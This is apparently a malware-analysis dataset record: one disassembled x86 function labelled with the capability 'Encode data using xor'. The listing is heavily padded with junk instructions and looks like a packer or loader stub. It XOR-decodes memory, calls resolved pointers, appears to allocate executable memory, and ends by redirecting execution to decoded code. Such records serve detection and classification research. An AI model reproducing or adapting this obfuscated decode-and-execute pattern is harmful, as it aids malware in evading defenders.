Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xd2304e64
inc edi
add edi, edi
popal
dec ecx
sub ecx, edi
not edi
mov ecx, 0
mov edx, edi
sub eax, 0xfd1cd351
or esi, esi
mov ebx, edx
and eax, esi
and eax, esi
add esi, esi
mov edi, ebx
and esi, esi
add esi, 0xb6976b3f
not eax
inc ecx
add eax, 0xd2a032ff
sub esi, 0xca5f46
cmp ecx, 0x1004183
jne 0xa789c0
add esi, eax
add esi, eax
sub esi, 1
sub edi, 0x494586db
sub ecx, 0x39c77e58
mov edi, 0x58956d4c
mov edx, 0xa78796
not eax
or ecx, ecx
dec eax
mov edi, 0xa7898a
add eax, 0x89df7606
and ecx, ecx
mov ebx, dword [edx]
add ecx, 0x500c159
add eax, 0xafb84956
and ebx, 0xff
add esi, esi
add esi, eax
xor dword [edi], ebx
dec ecx
mov ecx, 0x1e75c94b
add ecx, esi
inc edi
sub esi, 0x5da29d78
or ecx, eax
inc edx
add ecx, esi
inc esi
or eax, ecx
cmp edi, entry0
jl 0xa78a29
mov esi, ecx
add esi, ecx
mov ecx, 0x98b8ba04
sub ecx, 0x37a98783
sub eax, 0x4c505ed4
sub eax, esi
mov edi, ebx
add esi, ecx
mov ebx, 0x10ae56f9
mov edx, 0xa7898e
and ecx, ecx
mov edi, esi
add ebx, 1
mov edx, dword [edx]
not edi
sub ebx, esi
mov edx, dword [edx]
mov esi, 0x1aa2f38e
dec esi
mov ecx, edi
push edx
add ebx, 1
add ebx, edi
not ecx
mov edx, 0xa7898a
and ecx, esi
add edi, 1
mov edx, dword [edx]
add esi, edi
sub ebx, 1
and esi, ecx
mov edx, dword [edx]
sub edi, ebx
or ebx, ecx
dec esi
push 0xa78992
not ebx
mov ebx, 0x61f7a3ba
call edx
not ebx
or ebx, edi
pop edx
sub edi, ebx
add ecx, 0xecb39c5e
push 0xa7899f
sub ecx, 0x2b5c5e63
add edi, esi
push eax
inc edi
sub ecx, 0x4adb5ae4
dec esi
call edx
inc ebx
sub ebx, esi
push 0x40
sub esi, ebx
or edi, esi
or esi, edi
push 0x3000
mov ebx, esi
and ebx, esi
add edi, 0x723bd6b8
push 0x200000b4
mov edi, 0xf7bbdb8e
dec esi
add ebx, ecx
sub esp, 4
mov dword [esp], 0
mov edi, ecx
inc ecx
call eax
sub edi, 0xee123898
mov ecx, 0x435c7abb
add eax, 0x20000010
add edi, 1
mov ebx, 0x33d8f6e0
mov edx, 0xb01c586c
inc ecx
mov edi, 0x8debfa21
mov dword [eax], edx
add esi, 0x2be883a3
dec ecx
add esi, ebx
mov edx, dword [eax]
mov ebx, 0x91aa1cb9
add ebx, 1
cmp edx, 0xb01c586c
je 0xa78b8a
mov edx, 0
mov dword [edx], ecx
add ebx, 0x3c988dd
add ecx, 1
sub edi, 0x13f5e1cd
inc esi
dec esi
inc edi
not edi
or ecx, ecx
mov edx, section..rdata
or ecx, edi
or edi, ecx
mov edi, ecx
mov eax, 0xa78795
sub ecx, edi
mov edi, ecx
mov ebx, 0
dec edi
add edi, 0x5e952738
not ecx
mov esi, 0xa78796
not edi
inc ecx
lea esi, [esi + ebx]
sub edi, ecx
mov edi, 0xad0453b2
mov edi, 0xc5a2a9a0
mov esi, dword [esi]
not ecx
mov ecx, edi
and esi, 0xff
mov edi, 0xb878b5d5
sub ecx, edi
inc ebx
inc ecx
not ecx
cmp ebx, 0x1f4
jne 0xa78c00
mov ebx, 0
and ecx, edi
and edi, edi
and edi, edi
mov edi, 0x2b1fadef
xor dword [edx], esi
dec ecx
add ecx, 0xcd20b3e5
add ecx, ecx
add edx, 2
mov edi, 0x63cc2b3d
mov ecx, edi
cmp edx, eax
jl 0xa78bc5
mov edi, ecx
dec ecx
sub edi, ecx
not edi
dec ecx
mov ebx, section..rdata
dec ecx
and esi, ecx
mov edi, section..rdata
dec esi
not ecx
mov eax, 0xa78795
add ecx, 0x2777b7bb
sub esi, 0x3ebb2ee8
mov edx, 0
sub esi, ecx
dec esi
mov dl, byte [edi]
mov ecx, 0x23bff4b4
or ecx, ecx
mov byte [ebx], dl
add esi, 0x756793f0
mov esi, 0x339c6cfd
sub esi, 0xb9bbdc88
inc ebx
add esi, 0x26bb6c6f
sub esi, ecx
or ecx, ecx
add edi, 2
sub ecx, 0xb72270d0
sub esi, 0x54867467
and esi, esi
cmp edi, eax
jle 0xa78c5c
mov esi, 0xc2127db2
not ecx
sub edi, ecx
add edi, ecx
push 0x8dc6a0
sub ecx, edi
sub ecx, edi
ret